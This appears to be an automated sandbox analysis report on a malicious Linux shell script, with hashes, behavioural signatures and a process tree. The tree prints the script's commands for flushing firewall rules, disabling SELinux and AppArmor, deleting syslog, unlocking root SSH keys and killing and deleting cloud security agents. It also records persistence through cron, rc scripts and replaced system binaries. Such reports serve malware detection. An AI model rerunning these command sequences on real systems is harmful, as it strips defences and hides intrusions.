Analysis
- max time kernel
149s - max time network
148s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
13/09/2026, 16:04
Static task
static1
Behavioral task
behavioral1
Sample
be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
Resource
debian9-mipsel-20260513-en
General
- Target be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
- Size 15KB
- Sample260913-th1a8a11ay
- SHA256 f0933f2f2e729f34aaa7c3caae7c18eb955bd3a27fe1e37bc2cfe719d63ea72e
- MD5 df67e6dc56750610a09c8631cde6239a
- SHA1 75e2e7257f7db684a28b9788cc8847440ed8919d
- SHA512 c72255793129409565b18de4fd625cd5f79666df225b789e2c5f512f391f95c4138226d6ca3e7492a46efbafac5f55853174302ac15d7d2409051cc7ccc920f3
- SSDEEP 384:YWOWwvrR3YsbdyxQws1JBcUrMtKe9aVDlvSVES3zf:tOW2j1JHYKTsESr
- TLSH T18162C0784DDACC5BE00EC8EA63EE7BC854A231FADBE430D556C90A8591D5F396350570
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Adds new SSH keys 1 TTPs 1 IoCs
Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.
description ioc Process File opened for modification /root/.ssh/authorized_keys bash - File and Directory Permissions Modification 1 TTPs 6 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 745 chmod 746 chmod 747 chmod 2540 Process not Found 2543 Process not Found 2546 Process not Found - Disables AppArmor Mandatory Access Control 1 TTPs 64 IoCs
Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.
pid Process 785 systemctl 834 systemctl 2088 Process not Found 2148 Process not Found 2287 Process not Found 2292 Process not Found 2279 Process not Found 785 systemctl 825 systemctl 830 systemctl 835 systemctl 818 systemctl 2157 Process not Found 2166 Process not Found 818 systemctl 2145 Process not Found 2299 Process not Found 785 systemctl 785 systemctl 2308 Process not Found 818 systemctl 2169 Process not Found 2179 Process not Found 2183 Process not Found 2166 Process not Found 2166 Process not Found 2295 Process not Found 2162 Process not Found 2184 Process not Found 2165 Process not Found 842 systemctl 2166 Process not Found 2279 Process not Found 2152 Process not Found 2164 Process not Found 2306 Process not Found 2311 Process not Found 2160 Process not Found 846 systemctl 2154 Process not Found 2181 Process not Found 2294 Process not Found 2159 Process not Found 2314 Process not Found 2315 Process not Found 822 systemctl 2309 Process not Found 2299 Process not Found 2279 Process not Found 2299 Process not Found 2163 Process not Found 2145 Process not Found 2176 Process not Found 2318 Process not Found 850 systemctl 2177 Process not Found 2310 Process not Found 2288 Process not Found 2298 Process not Found 816 systemctl 818 systemctl 2145 Process not Found 2175 Process not Found 2279 Process not Found - Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 751 iptables - Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process File opened for modification /etc/resolv.conf bash - Creates/modifies Cron job 1 TTPs 4 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/cron.daily/logrotate bash File opened for modification /etc/cron.hourly/0anacron bash File opened for modification /etc/cron.d/zzh bash File opened for modification /etc/crontab bash -
pid Process 784 setenforce 1142 kill 1142 kill 1295 grep 1407 grep 1739 grep 1142 kill 1142 kill 1142 kill 1142 kill 1719 grep - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
description ioc Process File opened for modification /etc/rc.d/rc.local bash - Removes the immutable protection flag from a file 1 TTPs 64 IoCs
Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.
pid Process 980 chattr 1052 xargs 1865 Process not Found 2535 Process not Found 949 xargs 972 chattr 1131 xargs 1197 xargs 1202 xargs 1469 xargs 1605 xargs 974 chattr 1076 xargs 1267 xargs 1322 xargs 2186 Process not Found 2214 Process not Found 1021 xargs 1177 xargs 1508 xargs 1793 xargs 1883 Process not Found 2230 Process not Found 2328 Process not Found 1474 xargs 1664 xargs 2538 Process not Found 1111 xargs 1377 xargs 1761 xargs 1775 xargs 2558 Process not Found 757 chattr 1121 xargs 1287 xargs 1356 xargs 1444 xargs 2332 Process not Found 964 xargs 988 chattr 1857 Process not Found 1903 Process not Found 1167 xargs 1362 xargs 1533 xargs 1691 xargs 1867 Process not Found 1871 Process not Found 1014 xargs 1389 xargs 1424 xargs 1741 xargs 1901 Process not Found 749 chattr 1026 xargs 1082 xargs 1429 xargs 1599 xargs 1611 xargs 1736 xargs 1807 Process not Found 755 chattr 1716 xargs 1817 Process not Found - Write file to user bin folder 6 IoCs
description ioc Process File opened for modification /usr/bin/rctlcli bash File opened for modification /usr/bin/systemd-network bash File opened for modification /usr/bin/pamdicks bash File opened for modification /usr/bin/ip6network bash File opened for modification /usr/bin/kswaped bash File opened for modification /usr/bin/irqbalanced bash - Writes file to system bin folder 6 IoCs
description ioc Process File opened for modification /bin/ps Process not Found File opened for modification /bin/top bash File opened for modification /bin/top Process not Found File opened for modification /bin/pstree bash File opened for modification /bin/pstree Process not Found File opened for modification /bin/ps bash - Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
pid Process 727 base64 - Discovers running processes 1 TTPs 64 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 1514 ps 1273 ps 1318 ps 1623 ps 1692 ps 950 ps 1378 ps 1491 ps 1529 ps 1288 ps 1544 ps 875 ps 1268 ps 1357 ps 1363 ps 1534 ps 886 ps 1112 ps 1203 ps 1395 ps 1486 ps 1132 ps 1243 ps 1415 ps 1702 ps 1293 ps 1342 ps 1373 ps 1445 ps 1570 ps 1228 ps 1298 ps 904 ps 1208 ps 1641 ps 1519 ps 1554 ps 868 ps 1347 ps 922 ps 1223 ps 1410 ps 1460 ps 1465 ps 1582 ps 1594 ps 945 ps 1430 ps 1188 ps 1248 ps 1671 ps 1137 ps 780 ps 1659 ps 940 ps 1576 ps 955 ps 1253 ps 1117 ps 1127 ps 1352 ps 912 ps 1122 ps 1323 ps - Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps - Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found -
description ioc Process File opened for reading /proc/71/cmdline ps File opened for reading /proc/677/stat ps File opened for reading /proc/332/cmdline ps File opened for reading /proc/712/cmdline ps File opened for reading /proc/12/status ps File opened for reading /proc/713/status ps File opened for reading /proc/677/status Process not Found File opened for reading /proc/7/cmdline Process not Found File opened for reading /proc/4/stat ps File opened for reading /proc/12/status ps File opened for reading /proc/filesystems ps File opened for reading /proc/8/cmdline Process not Found File opened for reading /proc/70/status Process not Found File opened for reading /proc/332/status ps File opened for reading /proc/9/status ps File opened for reading /proc/37/status ps File opened for reading /proc/77/stat ps File opened for reading /proc/366/status ps File opened for reading /proc/24/cmdline ps File opened for reading /proc/78/stat ps File opened for reading /proc/73/cmdline Process not Found File opened for reading /proc/2/cmdline ps File opened for reading /proc/70/stat ps File opened for reading /proc/13/status ps File opened for reading /proc/159/status Process not Found File opened for reading /proc/19/status Process not Found File opened for reading /proc/680/status Process not Found File opened for reading /proc/11/cmdline Process not Found File opened for reading /proc/678/cmdline Process not Found File opened for reading /proc/1/cmdline ps File opened for reading /proc/1/status ps File opened for reading /proc/1502/cmdline ps File opened for reading /proc/716/status Process not Found File opened for reading /proc/336/status Process not Found File opened for reading /proc/76/stat ps File opened for reading /proc/70/status ps File opened for reading /proc/713/status ps File opened for reading /proc/110/status ps File opened for reading /proc/1772/status ps File opened for reading /proc/23/cmdline Process not Found File opened for reading /proc/159/stat ps File opened for reading /proc/15/stat ps File opened for reading /proc/712/cmdline ps File opened for reading /proc/77/status Process not Found File opened for reading /proc/332/status Process not Found File opened for reading /proc/76/cmdline Process not Found File opened for reading /proc/1194/stat ps File opened for reading /proc/1291/cmdline ps File opened for reading /proc/233/status Process not Found File opened for reading /proc/110/stat Process not Found File opened for reading /proc/24/status ps File opened for reading /proc/self/maps awk File opened for reading /proc/18/cmdline ps File opened for reading /proc/1569/stat ps File opened for reading /proc/233/cmdline Process not Found File opened for reading /proc/7/cmdline Process not Found File opened for reading /proc/677/status ps File opened for reading /proc/21/status ps File opened for reading /proc/336/cmdline ps File opened for reading /proc/filesystems Process not Found File opened for reading /proc/8/cmdline ps File opened for reading /proc/3/cmdline Process not Found File opened for reading /proc/110/stat ps File opened for reading /proc/2/cmdline ps - System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1320 grep 1536 grep 2045 Process not Found 972 chattr 983 chattr 1290 grep - Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/svcguard bash File opened for modification /tmp/tmp.vWkVN2YHn8/embedded.sh bash File opened for modification /tmp/dev/null bash File opened for modification /tmp/kdevtmpfsi bash File opened for modification /tmp/svcupdate bash
Processes
-
/tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh/tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵PID:716
-
/usr/local/sbin/bashbash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵PID:716
-
/usr/local/bin/bashbash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵PID:716
-
/usr/sbin/bashbash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵PID:716
-
/usr/bin/bashbash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵PID:716
-
/sbin/bashbash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵PID:716
-
/bin/bashbash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵
- Writes file to tmp directory
PID:716 -
/bin/mktempmktemp -d2⤵PID:723
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
PID:727
-
-
/usr/bin/python3python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "2⤵PID:729
-
-
/bin/chmodchmod +x /tmp/tmp.vWkVN2YHn8/embedded.sh2⤵
- File and Directory Permissions Modification
PID:745
-
-
/bin/bashbash /tmp/tmp.vWkVN2YHn8/embedded.sh1⤵
- Adds new SSH keys
- Writes DNS configuration
- Creates/modifies Cron job
- Modifies rc script
- Write file to user bin folder
- Writes file to system bin folder
- Writes file to tmp directory
PID:716 -
/bin/chmodchmod 777 /usr/bin/chattr2⤵
- File and Directory Permissions Modification
PID:746
-
-
/bin/chmodchmod 777 /bin/chattr2⤵
- File and Directory Permissions Modification
PID:747
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Removes the immutable protection flag from a file
PID:749
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:750
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:751
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵
- Removes the immutable protection flag from a file
PID:755
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:756
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Removes the immutable protection flag from a file
PID:757
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:758
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:759
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:760
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:761
-
-
/bin/rmrm -rf /var/log/syslog2⤵PID:762
-
-
/bin/syncsync2⤵PID:764
-
-
/bin/catcat /var/spool/cron/2⤵PID:765
-
-
/bin/catcat /root/.ssh/authorized_keys2⤵PID:766
-
-
/bin/mvmv /usr/bin/wgettnt /usr/bin/wd12⤵PID:767
-
-
/bin/mvmv /usr/bin/curltnt /usr/bin/cd12⤵PID:768
-
-
/bin/mvmv /usr/bin/wget1 /usr/bin/wd12⤵PID:769
-
-
/bin/mvmv /usr/bin/curl1 /usr/bin/cd12⤵PID:770
-
-
/bin/mvmv /usr/bin/cur /usr/bin/cd12⤵PID:771
-
-
/bin/mvmv /usr/bin/cdl /usr/bin/cd12⤵PID:772
-
-
/bin/mvmv /usr/bin/cdt /usr/bin/cd12⤵PID:773
-
-
/bin/mvmv /usr/bin/xget /usr/bin/wd12⤵PID:774
-
-
/bin/mvmv /usr/bin/wge /usr/bin/wd12⤵PID:775
-
-
/bin/mvmv /usr/bin/wdl /usr/bin/wd12⤵PID:776
-
-
/bin/mvmv /usr/bin/wdt /usr/bin/wd12⤵PID:777
-
-
/bin/mvmv /usr/bin/wget /usr/bin/wd12⤵PID:778
-
-
/bin/mvmv /usr/bin/curl /usr/bin/cd12⤵PID:779
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:780
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:781
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:782
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:783
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
PID:784
-
-
/usr/sbin/serviceservice apparmor stop2⤵PID:785
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:786
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:787
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:788
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Enumerates kernel/hardware configuration
PID:790
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵PID:791
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵PID:792
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:793
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:794
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:796
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵PID:798
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:800
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:802
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵PID:804
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:806
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:809
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:811
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:813
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:785
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵PID:785
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:785
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:785
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:785
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Enumerates kernel/hardware configuration
PID:785
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:816
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵PID:818
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:819
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:821
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Disables AppArmor Mandatory Access Control
PID:822
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵PID:826
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:825
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:830
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:831
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Disables AppArmor Mandatory Access Control
PID:834
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:835
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵PID:838
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:839
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:842
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:844
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:846
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:849
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:850
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:854
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:818
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:818
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵PID:818
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:818
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:818
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Enumerates kernel/hardware configuration
PID:818
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Enumerates kernel/hardware configuration
PID:857
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:861
-
-
/bin/grepgrep aegis2⤵PID:863
-
-
/bin/grepgrep -v grep2⤵PID:862
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:865
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:864
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:868
-
-
/bin/grepgrep -v grep2⤵PID:869
-
-
/bin/grepgrep Yun2⤵PID:870
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:871
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:872
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:875
-
-
/bin/grepgrep -v grep2⤵PID:876
-
-
/bin/grepgrep aegis2⤵PID:877
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:878
-
-
/usr/bin/xargsxargs dirname2⤵PID:879
-
/usr/local/sbin/dirnamedirname3⤵PID:884
-
-
/usr/local/bin/dirnamedirname3⤵PID:884
-
-
/usr/sbin/dirnamedirname3⤵PID:884
-
-
/usr/bin/dirnamedirname3⤵PID:884
-
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:880
-
/usr/local/sbin/rmrm -rf3⤵PID:885
-
-
/usr/local/bin/rmrm -rf3⤵PID:885
-
-
/usr/sbin/rmrm -rf3⤵PID:885
-
-
/usr/bin/rmrm -rf3⤵PID:885
-
-
/sbin/rmrm -rf3⤵PID:885
-
-
/bin/rmrm -rf3⤵PID:885
-
-
-
/bin/grepgrep -v grep2⤵PID:887
-
-
/bin/grepgrep hids2⤵PID:888
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:886
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:889
-
-
/usr/bin/xargsxargs dirname2⤵PID:890
-
/usr/local/sbin/dirnamedirname3⤵PID:893
-
-
/usr/local/bin/dirnamedirname3⤵PID:893
-
-
/usr/sbin/dirnamedirname3⤵PID:893
-
-
/usr/bin/dirnamedirname3⤵PID:893
-
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:891
-
/usr/local/sbin/rmrm -rf3⤵PID:894
-
-
/usr/local/bin/rmrm -rf3⤵PID:894
-
-
/usr/sbin/rmrm -rf3⤵PID:894
-
-
/usr/bin/rmrm -rf3⤵PID:894
-
-
/sbin/rmrm -rf3⤵PID:894
-
-
/bin/rmrm -rf3⤵PID:894
-
-
-
/bin/grepgrep cloudwalker2⤵PID:897
-
-
/bin/grepgrep -v grep2⤵PID:896
-
-
/bin/psps aux2⤵PID:895
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:898
-
-
/usr/bin/xargsxargs dirname2⤵PID:899
-
/usr/local/sbin/dirnamedirname3⤵PID:902
-
-
/usr/local/bin/dirnamedirname3⤵PID:902
-
-
/usr/sbin/dirnamedirname3⤵PID:902
-
-
/usr/bin/dirnamedirname3⤵PID:902
-
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:900
-
/usr/local/sbin/rmrm -rf3⤵PID:903
-
-
/usr/local/bin/rmrm -rf3⤵PID:903
-
-
/usr/sbin/rmrm -rf3⤵PID:903
-
-
/usr/bin/rmrm -rf3⤵PID:903
-
-
/sbin/rmrm -rf3⤵PID:903
-
-
/bin/rmrm -rf3⤵PID:903
-
-
-
/bin/grepgrep -v grep2⤵PID:905
-
-
/bin/grepgrep titanagent2⤵PID:906
-
-
